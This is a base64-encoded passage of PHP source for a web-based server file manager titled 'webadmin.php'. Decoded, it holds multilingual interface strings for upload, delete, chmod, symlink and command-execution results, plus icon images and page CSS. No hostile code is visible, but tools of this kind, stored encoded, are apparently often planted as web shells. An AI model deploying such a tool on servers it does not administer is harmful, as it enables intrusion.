IlslMV0iIG5vbiDDqCBzdGF0byBjYXJpY2F0by4nLA0KJ2FscmVhZHlfZXhpc3RzJyA9PiAnIlslMV0iIGVzaXN0ZSBnacOgLicsDQonY3JlYXRlZCcgPT4gJyJbJTFdIiDDqCBzdGF0byBjcmVhdG8uJywNCidub3RfY3JlYXRlZCcgPT4gJyJbJTFdIiBub24gw6ggc3RhdG8gY3JlYXRvLicsDQoncmVhbGx5X2RlbGV0ZScgPT4gJ0NhbmNlbGxvIHF1ZXN0aSBmaWxlID8nLA0KJ2RlbGV0ZWQnID0+ICJRdWVzdGkgZmlsZSBzb25vIHN0YXRpIGNhbmNlbGxhdGk6XG5bJTFdIiwNCidub3RfZGVsZXRlZCcgPT4gIlF1ZXN0aSBmaWxlIG5vbiBwb3Nzb25vIGVzc2VyZSBjYW5jZWxsYXRpOlxuWyUxXSIsDQoncmVuYW1lX2ZpbGUnID0+ICdGaWxlIHJpbm9taW5hdG86JywNCidyZW5hbWVkJyA9PiAnIlslMV0iIMOoIHN0YXRvIHJpbm9taW5hdG8gaW4gIlslMl0iLicsDQonbm90X3JlbmFtZWQnID0+ICciWyUxXSBub24gw6ggc3RhdG8gcmlub21pbmF0byBpbiAiWyUyXSIuJywNCidtb3ZlX2ZpbGVzJyA9PiAnU3Bvc3RvIHF1ZXN0aSBmaWxlOicsDQonbW92ZWQnID0+ICJRdWVzdGkgZmlsZSBzb25vIHN0YXRpIHNwb3N0YXRpIGluIFwiWyUyXVwiOlxuWyUxXSIsDQonbm90X21vdmVkJyA9PiAiUXVlc3RpIGZpbGUgbm9uIHBvc3Nvbm8gZXNzZXJlIHNwb3N0YXRpIGluIFwiWyUyXVwiOlxuWyUxXSIsDQonY29weV9maWxlcycgPT4gJ0NvcGlvIHF1ZXN0aSBmaWxlJywNCidjb3BpZWQnID0+ICJRdWVzdGkgZmlsZSBzb25vIHN0YXRpIGNvcGlhdGkgaW4gXCJbJTJdXCI6XG5bJTFdIiwNCidub3RfY29waWVkJyA9PiAiUXVlc3RpIGZpbGUgbm9uIHBvc3Nvbm8gZXNzZXJlIGNvcGlhdGkgaW4gXCJbJTJdXCI6XG5bJTFdIiwNCidub3RfZWRpdGVkJyA9PiAnIlslMV0iIG5vbiBwdcOyIGVzc2VyZSBtb2RpZmljYXRvLicsDQonZXhlY3V0ZWQnID0+ICJcIlslMV1cIiDDqCBzdGF0byBlc2VndWl0byBjb24gc3VjY2Vzc286XG57JTJ9IiwNCidub3RfZXhlY3V0ZWQnID0+ICJcIlslMV1cIiBub24gw6ggc3RhdG8gZXNlZ3VpdG8gY29uIHN1Y2Nlc3NvXG57JTJ9IiwNCidzYXZlZCcgPT4gJyJbJTFdIiDDqCBzdGF0byBzYWx2YXRvLicsDQonbm90X3NhdmVkJyA9PiAnIlslMV0iIG5vbiDDqCBzdGF0byBzYWx2YXRvLicsDQonc3ltbGlua2VkJyA9PiAnSWwgbGluayBzaWFtYm9saWNvIGRhICJbJTJdIiBhICJbJTFdIiDDqCBzdGF0byBjcmVhdG8uJywNCidub3Rfc3ltbGlua2VkJyA9PiAnSWwgbGluayBzaWFtYm9saWNvIGRhICJbJTJdIiBhICJbJTFdIiBub24gw6ggc3RhdG8gY3JlYXRvLicsDQoncGVybWlzc2lvbl9mb3InID0+ICdQZXJtZXNzaSBkaSAiWyUxXSI6JywNCidwZXJtaXNzaW9uX3NldCcgPT4gJ0kgcGVybWVzc2kgZGkgIlslMV0iIHNvbm8gc3RhdGkgaW1wb3N0YXRpIFslMl0uJywNCidwZXJtaXNzaW9uX25vdF9zZXQnID0+ICdJIHBlcm1lc3NpIGRpICJbJTFdIiBub24gc29ubyBzdGF0aSBpbXBvc3RhdGkgWyUyXS4nLA0KJ25vdF9yZWFkYWJsZScgPT4gJyJbJTFdIiBub24gcHXDsiBlc3NlcmUgbGV0dG8uJw0KCQkpOw0KDQoJY2FzZSAnc2UnOg0KDQoJCSRkYXRlX2Zvcm1hdCA9ICduL2oveSBIOmk6cyc7DQoJCSR3b3JkX2NoYXJzZXQgPSAnSVNPLTg4NTktMSc7DQogDQoJCXJldHVybiBhcnJheSgNCidkaXJlY3RvcnknID0+ICdNYXBwJywNCidmaWxlJyA9PiAnRmlsJywNCidmaWxlbmFtZScgPT4gJ0ZpbG5hbW4nLA0KIA0KJ3NpemUnID0+ICdTdG9ybGVrJywNCidwZXJtaXNzaW9uJyA9PiAnU8Oka2VyaGV0c25pdsOlJywNCidvd25lcicgPT4gJ8OEZ2FyZScsDQonZ3JvdXAnID0+ICdHcnVwcCcsDQonb3RoZXInID0+ICdBbmRyYScsDQonZnVuY3Rpb25zJyA9PiAnRnVua3Rpb25lcicsDQogDQoncmVhZCcgPT4gJ0zDpHMnLA0KJ3dyaXRlJyA9PiAnU2tyaXYnLA0KJ2V4ZWN1dGUnID0+ICdVdGbDtnInLA0KIA0KJ2NyZWF0ZV9zeW1saW5rJyA9PiAnU2thcGEgc3ltbGluaycsDQonZGVsZXRlJyA9PiAnUmFkZXJhJywNCidyZW5hbWUnID0+ICdCeXQgbmFtbicsDQonbW92ZScgPT4gJ0ZseXR0YScsDQonY29weScgPT4gJ0tvcGllcmEnLA0KJ2VkaXQnID0+ICfDhG5kcmEnLA0KJ2Rvd25sb2FkJyA9PiAnTGFkZGEgbmVyJywNCid1cGxvYWQnID0+ICdMYWRkYSB1cHAnLA0KJ2NyZWF0ZScgPT4gJ1NrYXBhJywNCidjaGFuZ2UnID0+ICfDhG5kcmEnLA0KJ3NhdmUnID0+ICdTcGFyYScsDQonc2V0JyA9PiAnTWFya2VyYScsDQoncmVzZXQnID0+ICdUw7ZtJywNCidyZWxhdGl2ZScgPT4gJ1JlbGF0aXZlIHBhdGggdG8gdGFyZ2V0JywNCiANCid5ZXMnID0+ICdKYScsDQonbm8nID0+ICdOZWonLA0KJ2JhY2snID0+ICdUaWxsYmFrcycsDQonZGVzdGluYXRpb24nID0+ICdEZXN0aW5hdGlvbicsDQonc3ltbGluaycgPT4gJ1N5bWxpbmsnLA0KJ25vX291dHB1dCcgPT4gJ25vIG91dHB1dCcsDQogDQondXNlcicgPT4gJ0FudsOkbmRhcmUnLA0KJ3Bhc3N3b3JkJyA9PiAnTMO2c2Vub3JkJywNCidhZGQnID0+ICdMw6RnZyB0aWxsJywNCidhZGRfYmFzaWNfYXV0aCcgPT4gJ2FkZCBiYXNpYy1hdXRoZW50aWZpY2F0aW9uJywNCiANCid1cGxvYWRlZCcgPT4gJyJbJTFdIiBoYXIgbGFkZGF0cyB1cHAuJywNCidub3RfdXBsb2FkZWQnID0+ICciWyUxXSIga3VuZGUgaW50ZSBsYWRkYXMgdXBwLicsDQonYWxyZWFkeV9leGlzdHMnID0+ICciWyUxXSIgZmlubnMgcmVkYW4uJywNCidjcmVhdGVkJyA9PiAnIlslMV0iIGhhciBza2FwYXRzLicsDQonbm90X2NyZWF0ZWQnID0+ICciWyUxXSIga3VuZGUgaW50ZSBza2FwYXMuJywNCidyZWFsbHlfZGVsZXRlJyA9PiAnUmFkZXJhIGRlc3NhIGZpbGVyPycsDQonZGVsZXRlZCcgPT4gIkRlIGjDpHIgZmlsZXJuYSBoYXIgcmFkZXJhdHM6XG5bJTFdIiwNCidub3RfZGVsZXRlZCcgPT4gIkRlc3NhIGZpbGVyIGt1bmRlIGludGUgcmFkZXJhczpcblslMV0iLA0KJ3JlbmFtZV9maWxlJyA9PiAnQnl0IG5hbW4gcMOlIGZpbDonLA0KJ3JlbmFtZWQnID0+ICciWyUxXSIgaGFyIGJ5dHQgbmFtbiB0aWxsICJbJTJdIi4nLA0KJ25vdF9yZW5hbWVkJyA9PiAnIlslMV0ga3VuZGUgaW50ZSBkw7ZwYXMgb20gdGlsbCAiWyUyXSIuJywNCidtb3ZlX2ZpbGVzJyA9PiAnRmx5dHRhIGRlc3NhIGZpbGVyOicsDQonbW92ZWQnID0+ICJEZXNzYSBmaWxlciBoYXIgZmx5dHRhdHMgdGlsbCBcIlslMl1cIjpcblslMV0iLA0KJ25vdF9tb3ZlZCcgPT4gIkRlc3NhIGZpbGVyIGt1bmRlIGludGUgZmx5dHRhcyB0aWxsIFwiWyUyXVwiOlxuWyUxXSIsDQonY29weV9maWxlcycgPT4gJ0tvcGllcmEgZGVzc2EgZmlsZXI6JywNCidjb3BpZWQnID0+ICJEZXNzYSBmaWxlciBoYXIga29waWVyYXRzIHRpbGwgXCJbJTJdXCI6XG5bJTFdIiwNCidub3RfY29waWVkJyA9PiAiRGVzc2EgZmlsZXIga3VuZGUgaW50ZSBrb3BpZXJhcyB0aWxsIFwiWyUyXVwiOlxuWyUxXSIsDQonbm90X2VkaXRlZCcgPT4gJyJbJTFdIiBrYW4gaW50ZSDDpG5kcmFzLicsDQonZXhlY3V0ZWQnID0+ICJcIlslMV1cIiBoYXIgdXRmw7ZydHM6XG57JTJ9IiwNCidub3RfZXhlY3V0ZWQnID0+ICJcIlslMV1cIiBrdW5kZSBpbnRlIHV0ZsO2cmFzOlxueyUyfSIsDQonc2F2ZWQnID0+ICciWyUxXSIgaGFyIHNwYXJhdHMuJywNCidub3Rfc2F2ZWQnID0+ICciWyUxXSIga3VuZGUgaW50ZSBzcGFyYXMuJywNCidzeW1saW5rZWQnID0+ICdTeW1saW5rIGZyw6VuICJbJTJdIiB0aWxsICJbJTFdIiBoYXIgc2thcGF0cy4nLA0KJ25vdF9zeW1saW5rZWQnID0+ICdTeW1saW5rIGZyw6VuICJbJTJdIiB0aWxsICJbJTFdIiBrdW5kZSBpbnRlIHNrYXBhcy4nLA0KJ3Blcm1pc3Npb25fZm9yJyA9PiAnUsOkdHRpZ2hldGVyIGbDtnIgIlslMV0iOicsDQoncGVybWlzc2lvbl9zZXQnID0+ICdSw6R0dGlnaGV0ZXIgZsO2ciAiWyUxXSIgw6RuZHJhZGVzIHRpbGwgWyUyXS4nLA0KJ3Blcm1pc3Npb25fbm90X3NldCcgPT4gJ1Blcm1pc3Npb24gb2YgIlslMV0iIGNvdWxkIG5vdCBiZSBzZXQgdG8gWyUyXS4nLA0KJ25vdF9yZWFkYWJsZScgPT4gJyJbJTFdIiBrYW4gaW50ZSBsw6RzYXMuJw0KCQkpOw0KDQoJY2FzZSAnZW4nOg0KDQoJCSRkYXRlX2Zvcm1hdCA9ICduL2oveSBIOmk6cyc7DQoJCSR3b3JkX2NoYXJzZXQgPSAnSVNPLTg4NTktMSc7DQoNCgkJcmV0dXJuIGFycmF5KA0KJ2RpcmVjdG9yeScgPT4gJ0RpcmVjdG9yeScsDQonZmlsZScgPT4gJ0ZpbGUnLA0KJ2ZpbGVuYW1lJyA9PiAnRmlsZW5hbWUnLA0KDQonc2l6ZScgPT4gJ1NpemUnLA0KJ3Blcm1pc3Npb24nID0+ICdQZXJtaXNzaW9uJywNCidvd25lcicgPT4gJ093bmVyJywNCidncm91cCcgPT4gJ0dyb3VwJywNCidvdGhlcicgPT4gJ090aGVycycsDQonZnVuY3Rpb25zJyA9PiAnRnVuY3Rpb25zJywNCg0KJ3JlYWQnID0+ICdyZWFkJywNCid3cml0ZScgPT4gJ3dyaXRlJywNCidleGVjdXRlJyA9PiAnZXhlY3V0ZScsDQoNCidjcmVhdGVfc3ltbGluaycgPT4gJ2NyZWF0ZSBzeW1saW5rJywNCidkZWxldGUnID0+ICdkZWxldGUnLA0KJ3JlbmFtZScgPT4gJ3JlbmFtZScsDQonbW92ZScgPT4gJ21vdmUnLA0KJ2NvcHknID0+ICdjb3B5JywNCidlZGl0JyA9PiAnZWRpdCcsDQonZG93bmxvYWQnID0+ICdkb3dubG9hZCcsDQondXBsb2FkJyA9PiAndXBsb2FkJywNCidjcmVhdGUnID0+ICdjcmVhdGUnLA0KJ2NoYW5nZScgPT4gJ2NoYW5nZScsDQonc2F2ZScgPT4gJ3NhdmUnLA0KJ3NldCcgPT4gJ3NldCcsDQoncmVzZXQnID0+ICdyZXNldCcsDQoncmVsYXRpdmUnID0+ICdSZWxhdGl2ZSBwYXRoIHRvIHRhcmdldCcsDQoNCid5ZXMnID0+ICdZZXMnLA0KJ25vJyA9PiAnTm8nLA0KJ2JhY2snID0+ICdiYWNrJywNCidkZXN0aW5hdGlvbicgPT4gJ0Rlc3RpbmF0aW9uJywNCidzeW1saW5rJyA9PiAnU3ltbGluaycsDQonbm9fb3V0cHV0JyA9PiAnbm8gb3V0cHV0JywNCg0KJ3VzZXInID0+ICdVc2VyJywNCidwYXNzd29yZCcgPT4gJ1Bhc3N3b3JkJywNCidhZGQnID0+ICdhZGQnLA0KJ2FkZF9iYXNpY19hdXRoJyA9PiAnYWRkIGJhc2ljLWF1dGhlbnRpZmljYXRpb24nLA0KDQondXBsb2FkZWQnID0+ICciWyUxXSIgaGFzIGJlZW4gdXBsb2FkZWQuJywNCidub3RfdXBsb2FkZWQnID0+ICciWyUxXSIgY291bGQgbm90IGJlIHVwbG9hZGVkLicsDQonYWxyZWFkeV9leGlzdHMnID0+ICciWyUxXSIgYWxyZWFkeSBleGlzdHMuJywNCidjcmVhdGVkJyA9PiAnIlslMV0iIGhhcyBiZWVuIGNyZWF0ZWQuJywNCidub3RfY3JlYXRlZCcgPT4gJyJbJTFdIiBjb3VsZCBub3QgYmUgY3JlYXRlZC4nLA0KJ3JlYWxseV9kZWxldGUnID0+ICdEZWxldGUgdGhlc2UgZmlsZXM/JywNCidkZWxldGVkJyA9PiAiVGhlc2UgZmlsZXMgaGF2ZSBiZWVuIGRlbGV0ZWQ6XG5bJTFdIiwNCidub3RfZGVsZXRlZCcgPT4gIlRoZXNlIGZpbGVzIGNvdWxkIG5vdCBiZSBkZWxldGVkOlxuWyUxXSIsDQoncmVuYW1lX2ZpbGUnID0+ICdSZW5hbWUgZmlsZTonLA0KJ3JlbmFtZWQnID0+ICciWyUxXSIgaGFzIGJlZW4gcmVuYW1lZCB0byAiWyUyXSIuJywNCidub3RfcmVuYW1lZCcgPT4gJyJbJTFdIGNvdWxkIG5vdCBiZSByZW5hbWVkIHRvICJbJTJdIi4nLA0KJ21vdmVfZmlsZXMnID0+ICdNb3ZlIHRoZXNlIGZpbGVzOicsDQonbW92ZWQnID0+ICJUaGVzZSBmaWxlcyBoYXZlIGJlZW4gbW92ZWQgdG8gXCJbJTJdXCI6XG5bJTFdIiwNCidub3RfbW92ZWQnID0+ICJUaGVzZSBmaWxlcyBjb3VsZCBub3QgYmUgbW92ZWQgdG8gXCJbJTJdXCI6XG5bJTFdIiwNCidjb3B5X2ZpbGVzJyA9PiAnQ29weSB0aGVzZSBmaWxlczonLA0KJ2NvcGllZCcgPT4gIlRoZXNlIGZpbGVzIGhhdmUgYmVlbiBjb3BpZWQgdG8gXCJbJTJdXCI6XG5bJTFdIiwNCidub3RfY29waWVkJyA9PiAiVGhlc2UgZmlsZXMgY291bGQgbm90IGJlIGNvcGllZCB0byBcIlslMl1cIjpcblslMV0iLA0KJ25vdF9lZGl0ZWQnID0+ICciWyUxXSIgY2FuIG5vdCBiZSBlZGl0ZWQuJywNCidleGVjdXRlZCcgPT4gIlwiWyUxXVwiIGhhcyBiZWVuIGV4ZWN1dGVkIHN1Y2Nlc3NmdWxseTpcbnslMn0iLA0KJ25vdF9leGVjdXRlZCcgPT4gIlwiWyUxXVwiIGNvdWxkIG5vdCBiZSBleGVjdXRlZCBzdWNjZXNzZnVsbHk6XG57JTJ9IiwNCidzYXZlZCcgPT4gJyJbJTFdIiBoYXMgYmVlbiBzYXZlZC4nLA0KJ25vdF9zYXZlZCcgPT4gJyJbJTFdIiBjb3VsZCBub3QgYmUgc2F2ZWQuJywNCidzeW1saW5rZWQnID0+ICdTeW1saW5rIGZyb20gIlslMl0iIHRvICJbJTFdIiBoYXMgYmVlbiBjcmVhdGVkLicsDQonbm90X3N5bWxpbmtlZCcgPT4gJ1N5bWxpbmsgZnJvbSAiWyUyXSIgdG8gIlslMV0iIGNvdWxkIG5vdCBiZSBjcmVhdGVkLicsDQoncGVybWlzc2lvbl9mb3InID0+ICdQZXJtaXNzaW9uIG9mICJbJTFdIjonLA0KJ3Blcm1pc3Npb25fc2V0JyA9PiAnUGVybWlzc2lvbiBvZiAiWyUxXSIgd2FzIHNldCB0byBbJTJdLicsDQoncGVybWlzc2lvbl9ub3Rfc2V0JyA9PiAnUGVybWlzc2lvbiBvZiAiWyUxXSIgY291bGQgbm90IGJlIHNldCB0byBbJTJdLicsDQonbm90X3JlYWRhYmxlJyA9PiAnIlslMV0iIGNhbiBub3QgYmUgcmVhZC4nDQoJCSk7DQoJCWNhc2UgJ2FyJzoNCglkZWZhdWx0Og0KDQoJCSRkYXRlX2Zvcm1hdCA9ICduL2oveSBIOmk6cyc7DQoJCSR3b3JkX2NoYXJzZXQgPSAndXRmLTgnOw0KDQoJCXJldHVybiBhcnJheSgNCidkaXJlY3RvcnknID0+ICfYp9mE2YXYs9in2LEnLA0KJ2ZpbGUnID0+ICfYp9mE2YXZhNmBJywNCidmaWxlbmFtZScgPT4gJ9in2LPZhSDYp9mE2YXZhNmBJywNCg0KJ3NpemUnID0+ICfYp9mE2K3YrNmFJywNCidwZXJtaXNzaW9uJyA9PiAn2KfZhNi12YTYp9it2YrZhycsDQonb3duZXInID0+ICfYp9mE2YXYp9mE2YMnLA0KJ2dyb3VwJyA9PiAn2KfZhNmF2KzZhdmI2LnZhycsDQonb3RoZXInID0+ICfYp9iu2LHZiScsDQonZnVuY3Rpb25zJyA9PiAn2KfZhNiu2YrYp9ix2KfYqicsDQoNCidyZWFkJyA9PiAn2YLYsdin2KbZhycsDQond3JpdGUnID0+ICfZg9iq2KfYqNmHJywNCidleGVjdXRlJyA9PiAn2KrZhtmB2YrYsCcsDQoNCidjcmVhdGVfc3ltbGluaycgPT4gJ9in2YbYtNin2KEg2KfYrtiq2LXYp9ixJywNCidkZWxldGUnID0+ICfYrdiw2YEnLA0KJ3JlbmFtZScgPT4gJ9in2LnYp9iv2Kkg2KfZhNiq2LPZhdmK2KknLA0KJ21vdmUnID0+ICfYqtit2LHZitmDJywNCidjb3B5JyA9PiAn2YbYs9iuJywNCidlZGl0JyA9PiAn2KrYudiv2YrZhCcsDQonZG93bmxvYWQnID0+ICfYqtit2YXZitmEJywNCid1cGxvYWQnID0+ICfYsdmB2LknLA0KJ2NyZWF0ZScgPT4gJ9in2YbYtNin2KEnLA0KJ2NoYW5nZScgPT4gJ9iq2LrZitixJywNCidzYXZlJyA9PiAn2K3Zgdi4JywNCidzZXQnID0+ICfYttio2LcnLA0KJ3Jlc2V0JyA9PiAn2KfYudin2K/ZhycsDQoncmVsYXRpdmUnID0+ICfZh9mEINiq2LHZitivINiq2LrZitixINmF2LPYp9ixINin2YTYp9iu2KrYtdin2LEnLA0KDQoneWVzJyA9PiAn2YbYudmFJywNCidubycgPT4gJ++7uycsDQonYmFjaycgPT4gJ9in2YTYsdis2YjYuSDZhNmE2K7ZhNmBJywNCidkZXN0aW5hdGlvbicgPT4gJ9in2YTZhdmI2YLYuScsDQonc3ltbGluaycgPT4gJ9mF2LPYp9ixINin2YTYp9iu2KrYtdin2LEnLA0KJ25vX291dHB1dCcgPT4gJ++7uyDYqtmI2KzYryDZhtiq2KfYptisJywNCg0KJ3VzZXInID0+ICfYp9mE2YXYs9iq2K7Yr9mFJywNCidwYXNzd29yZCcgPT4gJ9in2YTYsdmC2YUg2KfZhNiz2LHZiicsDQonYWRkJyA9PiAn2KfYttin2YHZhycsDQonYWRkX2Jhc2ljX2F1dGgnID0+ICfYp9i22KfZgdmHJywNCg0KJ3VwbG9hZGVkJyA9PiAnIlslMV0iINiq2YUg2LHZgdi5INin2YTZhdmE2YEuJywNCidub3RfdXBsb2FkZWQnID0+ICciWyUxXSIg2YTZhSDZitiq2YUg2LHZgdi5INin2YTZhdmE2YEuJywNCidhbHJlYWR5X2V4aXN0cycgPT4gJyJbJTFdIiDYp9mE2YXZhNmBINin2Ygg2KfZhNmF2KzZhNivINmF2YjYrNmI2K8uJywNCidjcmVhdGVkJyA9PiAnIlslMV0iINiq2YUg2KfZhti02KfYoSDYp9mE2YXZhNmBLicsDQonbm90X2NyZWF0ZWQnID0+ICciWyUxXSIg2YTZhSDZitiq2YUg2KfZhNin2YbYtNin2KEuJywNCidyZWFsbHlfZGVsZXRlJyA9PiAn2YfZhCDYqtix2YrYryDYrdiw2YEg2KfZhNmF2YTZgT8nLA0KJ2RlbGV0ZWQnID0+ICLZhNmC2K8g2KrZhSDYrdiw2YEg2YfYsNinINin2YTZhdmE2YE6XG5bJTFdIiwNCidub3RfZGVsZXRlZCcgPT4gItmE2YUg2YrYqtmFINit2LDZgSDYp9mE2YXZhNmBOlxuWyUxXSIsDQoncmVuYW1lX2ZpbGUnID0+ICfYp9i52KfYr9mHINin2YTYqtiz2YXZitmHOicsDQoncmVuYW1lZCcgPT4gJyJbJTFdIiDYqtmF2Kog2KfYudin2K/ZhyDYqtiz2YXZitiq2Ycg2KfZhNmJICJbJTJdIi4nLA0KJ25vdF9yZW5hbWVkJyA9PiAnIlslMV0g2YTZhSDZitiq2YUg2KfYudin2K/ZhyDYqtiz2YXZitiq2Ycg2KfZhNmJICJbJTJdIi4nLA0KJ21vdmVfZmlsZXMnID0+ICfZh9mEINiq2LHZitivINiq2LrZitixINmF2LPYp9ixINmH2LDZhyDYp9mE2YXZhNmB2KfYqjonLA0KJ21vdmVkJyA9PiAi2YTZgtivINiq2YUg2KrYutmK2LEg2YXYs9in2LEg2YfYsNmHINin2YTZhdmE2YHYp9iqIFwiWyUyXVwiOlxuWyUxXSIsDQonbm90X21vdmVkJyA9PiAi2YTZhSDZitiq2YUg2KrYutmK2LEg2YXYs9in2LEg2YfYsNmHINin2YTZhdmE2YHYp9iqIFwiWyUyXVwiOlxuWyUxXSIsDQonY29weV9maWxlcycgPT4gJ9mH2YQg2KrYsdmK2K8g2YbYs9iuINmH2LDYpyDYp9mE2YXZhNmBOicsDQonY29waWVkJyA9PiAi2KrZhSDZhtiz2K4g2KfZhNmF2YTZgSDYp9mE2YkgXCJbJTJdXCI6XG5bJTFdIiwNCidub3RfY29waWVkJyA9PiAi2YTZhSDZitiq2YUg2YbYs9iuINin2YTZhdmE2YHYp9iqINin2YTZiSBcIlslMl1cIjpcblslMV0iLA0KJ25vdF9lZGl0ZWQnID0+ICciWyUxXSIg2YTYpyDZitmF2YPZhiDYqti52K/ZitmE2YcuJywNCidleGVjdXRlZCcgPT4gIlwiWyUxXVwiINmE2YLYryDYqtmFINiq2YbZgdmK2LAg2KjZhtis2KfYrTpcbnslMn0iLA0KJ25vdF9leGVjdXRlZCcgPT4gIlwiWyUxXVwiINmE2YUg2YrYqtmFINiq2YbZgdmK2LAg2KjZhtis2KfYrTpcbnslMn0iLA0KJ3NhdmVkJyA9PiAnIlslMV0iINiq2YUg2K3Zgdi42YcuJywNCidub3Rfc2F2ZWQnID0+ICciWyUxXSIg2YTZhSDZitiq2YUg2K3Zgdi42YcuJywNCidzeW1saW5rZWQnID0+ICfYp9mE2KfYrtiq2LXYp9ixINmF2YYgIlslMl0iINin2YTZiSAiWyUxXSIg2KrZhSDYp9mG2LTYp9im2YcuJywNCidub3Rfc3ltbGlua2VkJyA9PiAn2KfZhNin2K7Yqti12KfYsSDZhdmGICJbJTJdIiDYp9mE2YkgIlslMV0iINmE2YUg2YrYqtmFINin2YbYtNin2KbZhy4nLA0KJ3Blcm1pc3Npb25fZm9yJyA9PiAn2YfZhCDYqtix2YrYryDYqti62YrYsSDYte+7u9it2YrYqtmHICJbJTFdIjonLA0KJ3Blcm1pc3Npb25fc2V0JyA9PiAn2KrZhSDYqti62YrYsSDYte+7u9it2YrZhyDYp9mE2YXZhNmBICJbJTFdIiDYp9mE2YkgWyUyXS4nLA0KJ3Blcm1pc3Npb25fbm90X3NldCcgPT4gJ9mE2YUg2YrYqtmFINiq2LrZitixINi177u72K3ZitmHINin2YTZhdmE2YEgIlslMV0iINin2YTZiSBbJTJdLicsDQonbm90X3JlYWRhYmxlJyA9PiAnIlslMV0iINmE2Kcg2YrZhdmD2YYg2YLYsdin2KbYqtmHLicNCgkJKTsNCgl9DQoNCn0NCg0KZnVuY3Rpb24gZ2V0aW1hZ2UgKCRpbWFnZSkgew0KCXN3aXRjaCAoJGltYWdlKSB7DQoJY2FzZSAnZmlsZSc6DQoJCXJldHVybiBiYXNlNjRfZGVjb2RlKCdSMGxHT0RsaEVRQU5BSkVEQUptWm1mLy8vd0FBQVAvLy95SDVCQUhvQXdNQUxBQUFBQUFSQUEwQUFBSXRuSUdKeGcwQjQycnNpU3ZDQS9SRW1YUVdobW5paDNMVVNHYXFnMzV2RmJTWHVjYlNhYnVuam5Nb2hxOENBRHNBJyk7DQoJY2FzZSAnZm9sZGVyJzoNCgkJcmV0dXJuIGJhc2U2NF9kZWNvZGUoJ1IwbEdPRGxoRVFBTkFKRURBSm1abWYvLy84ek16UC8vL3lINUJBSG9Bd01BTEFBQUFBQVJBQTBBQUFJcW5JK1p3S3diWWdUUHRJdWRsYndMT2dDQlFKWW1DWXJuK20zc21ZNXZHYyswYTdkaGpoN1pieWdBQURzQScpOw0KCWNhc2UgJ2hpZGRlbl9maWxlJzoNCgkJcmV0dXJuIGJhc2U2NF9kZWNvZGUoJ1IwbEdPRGxoRVFBTkFKRURBTXdBQVAvLy81bVptZi8vL3lINUJBSG9Bd01BTEFBQUFBQVJBQTBBQUFJdG5JR0p4ZzBCNDJyc2lTdkNBL1JFbVhRV2htbmloM0xVU0dhcWczNXZGYlNYdWNiU2FidW5qbk1vaHE4Q0FEc0EnKTsNCgljYXNlICdsaW5rJzoNCgkJcmV0dXJuIGJhc2U2NF9kZWNvZGUoJ1IwbEdPRGxoRVFBTkFLSUVBSm1abWYvLy93QUFBTXdBQVAvLy93QUFBQUFBQUFBQUFDSDVCQUhvQXdRQUxBQUFBQUFSQUEwQUFBTTVTQXJjckRDQ1FPdUxjSW90d2dUWVVsbE5PQTBEeFhrbWhZNHNoTTV6c01VS1RZOGdOZ1V2VzZjbkFhWmd4TXlJTTJ6QkxDYUhsSmdBQURzQScpOw0KCWNhc2UgJ3NtaWxleSc6DQoJCXJldHVybiBiYXNlNjRfZGVjb2RlKCdSMGxHT0RsaEVRQU5BSkVDQUFBQUFQLy9BUC8vL3dBQUFDSDVCQUhvQXdJQUxBQUFBQUFSQUEwQUFBSXNsSStwQXUyd0RBaXowaldEM2hxbUJ6WmYxVkNsZUpRY2gwcmtkbnBwQjNkS1p1SXlnck1SRS9vSkR3VUFPd0E9Jyk7DQoJY2FzZSAnYXJyb3cnOg0KCQlyZXR1cm4gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhFUUFOQUlBQkFBQUFBUC8vL3lINUJBRUtBQUVBTEFBQUFBQVJBQTBBQUFJZGpBOXd5NmdOUTRwd1VtYXYweXZuK2hoSmlJM21DSjZvdHJJa3h4UUFPdz09Jyk7DQoJfQ0KfQ0KDQpmdW5jdGlvbiBodG1sX2hlYWRlciAoKSB7DQoJZ2xvYmFsICRjaGFyc2V0Ow0KDQoJZWNobyA8PDxFTkQNCjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFN0cmljdC8vRU4iDQogICAgICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS1zdHJpY3QuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCjxoZWFkPg0KDQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD0kY2hhcnNldCIgLz4NCg0KPHRpdGxlPndlYmFkbWluLnBocDwvdGl0bGU+DQoNCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQpib2R5IHsgZm9udDogc21hbGwgc2Fucy1zZXJpZjsgdGV4dC1hbGlnbjogY2VudGVyIH0NCmltZyB7IHdpZHRoOiAxN3B4OyBoZWlnaHQ6IDEzcHggfQ0KYSwgYTp2aXNpdGVkIHsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyBjb2xvcjogbmF2eSB9DQpociB7IGJvcmRlci1zdHlsZTogbm9uZTsgaGVpZ2h0OiAxcHg7IGJhY2tncm91bmQtY29sb3I6IHNpbHZlcjsgY29sb3I6IHNpbHZlciB9DQojbWFpbiB7IG1hcmdpbi10b3A6IDZwdDsgbWFyZ2luLWxlZnQ6IGF1dG87IG1hcmdpbi1yaWdodDogYXV0bzsgYm9yZGVyLXNwYWNpbmc6IDFweCB9DQojbWFpbiB0aCB7IGJhY2tncm91bmQ6ICNlZWU7IHBhZGRpbmc6IDNwdCAzcHQgMHB0IDNwdCB9DQoubGlzdGluZyB0aCwgLmxpc3RpbmcgdGQgeyBwYWRkaW5nOiAxcHggM3B0IDAgM3B0IH0NCi5saXN0aW5nIHRoIHsgYm9yZGVyOiAxcHggc29saWQgc2lsdmVyIH0NCi5saXN0aW5nIHRkIHsgYm9yZGVyOiAxcHggc29saWQgI2RkZDsgYmFja2dyb3VuZDogd2hpdGUgfQ0KLmxpc3RpbmcgLmNoZWNrYm94IHsgdGV4dC1hbGlnbjogY2VudGVyIH0NCi5saXN0aW5nIC5maWxlbmFtZSB7IHRleHQtYWxpZ246IGxlZnQgfQ0KLmxpc3RpbmcgLnNpemUgeyB0ZXh0LWFsaWduOiByaWdodCB9DQoubGlzdGluZyAucGVybWlzc2lvbl9oZWFkZXIgeyB0ZXh0LWFsaWduOiBsZWZ0IH0NCi5saXN0aW5nIC5wZXJtaXNzaW9uIHsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZSB9DQoubGlzdGluZyAub3duZXIgeyB0ZXh0LWFsaWduOiBsZW